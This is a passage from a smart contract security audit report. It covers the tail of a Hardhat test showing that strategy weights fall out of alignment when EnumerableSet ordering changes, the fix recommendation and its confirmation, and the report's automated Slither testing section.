    // that zips these two arrays will follow this new order, showing reliance on ordering.
    expect(weightsAfter.length).to.equal(2);
    expect([Number(weightsAfter[0]), Number(weightsAfter[1])].reduce((a,b)=>a+b,0)).to.equal(100
  });
});
```

The result shows the reordering:

```
❯ npx hardhat test --grep "Reliance on EnumerableSet"


  Security PoCs
Strategy balances BEFORE (aToken)
  s1: 600000000
  s2: 400000000
Zipped order BEFORE:
  [0] 0xCE9a1f44156c84F1c1E3b0685E15e23c51bb6d0A -> 60.00%
  [1] 0x7b1E1C3dBCDCD0F0c01FCcbbA56Ad1745A30B2Ee -> 40.00%
Before rebalance:
  s1 0xCE9a1f44156c84F1c1E3b0685E15e23c51bb6d0A weight: 60.00%
  s2 0x7b1E1C3dBCDCD0F0c01FCcbbA56Ad1745A30B2Ee weight: 40.00%
Expectation:
  Withdraw 20% of s1 (120000000), then +50%/+50% => +60000000 to each
  s1 expected after: 540000000
  s2 expected after: 460000000

```

```
Strategy balances AFTER (aToken)
  s1: 540000000
  s2: 460000000
Zipped order AFTER (flipped):
  [0] 0x7b1E1C3dBCDCD0F0c01FCcbbA56Ad1745A30B2Ee -> 46.00%
  [1] 0xCE9a1f44156c84F1c1E3b0685E15e23c51bb6d0A -> 54.00%
After rebalance (order flipped):
  - Same strategy addresses, but new percentages computed from balances.
  s1 0xCE9a1f44156c84F1c1E3b0685E15e23c51bb6d0A weight: 54.00%
  s2 0x7b1E1C3dBCDCD0F0c01FCcbbA56Ad1745A30B2Ee weight: 46.00%
    ✔ [M-02] Reliance on EnumerableSet.values() ordering affects allocation targets (816ms)


  1 passing (820ms)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Replace the combined use of `EnumerableSet.values()` and a separate weights array with a single array of (strategy, weight) structs. Update this array atomically during initialization and rebalancing to ensure stable, aligned ordering.

Remediation Comment

SOLVED: The issue was fixed in the specified commit. The code now uses a single `StrategyConfig` array that maintains stable strategy-weight pairings instead of relying on separate arrays that could become misaligned.

Remediation Hash

https://github.com/0xb11a/brink-v2/commit/99b08dc5053cf16f1a20722bd1733f693e2a3270

8. AUTOMATED TESTING

Description

`Halborn` used automated testing techniques to increase coverage of specific areas within the smart contracts under review. Among the tools used was `Slither`, a Solidity static analysis framework. After `Halborn` successfully verified the smart contracts in the repository and was able to compile them correctly into their ABI and binary formats, `Slither` was executed against the contracts. This tool performs static verification of mathematical relationships between Solidity variables to identify invalid or inconsistent usage of the contracts' APIs throughout the entire codebase.

The security team reviewed all findings reported by the `Slither` software; however, findings related to external dependencies have been excluded from the results below to maintain report clarity.

Output

All findings identified by `Slither` were proved to be false positives and therefore were not added to the issue list in this report.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.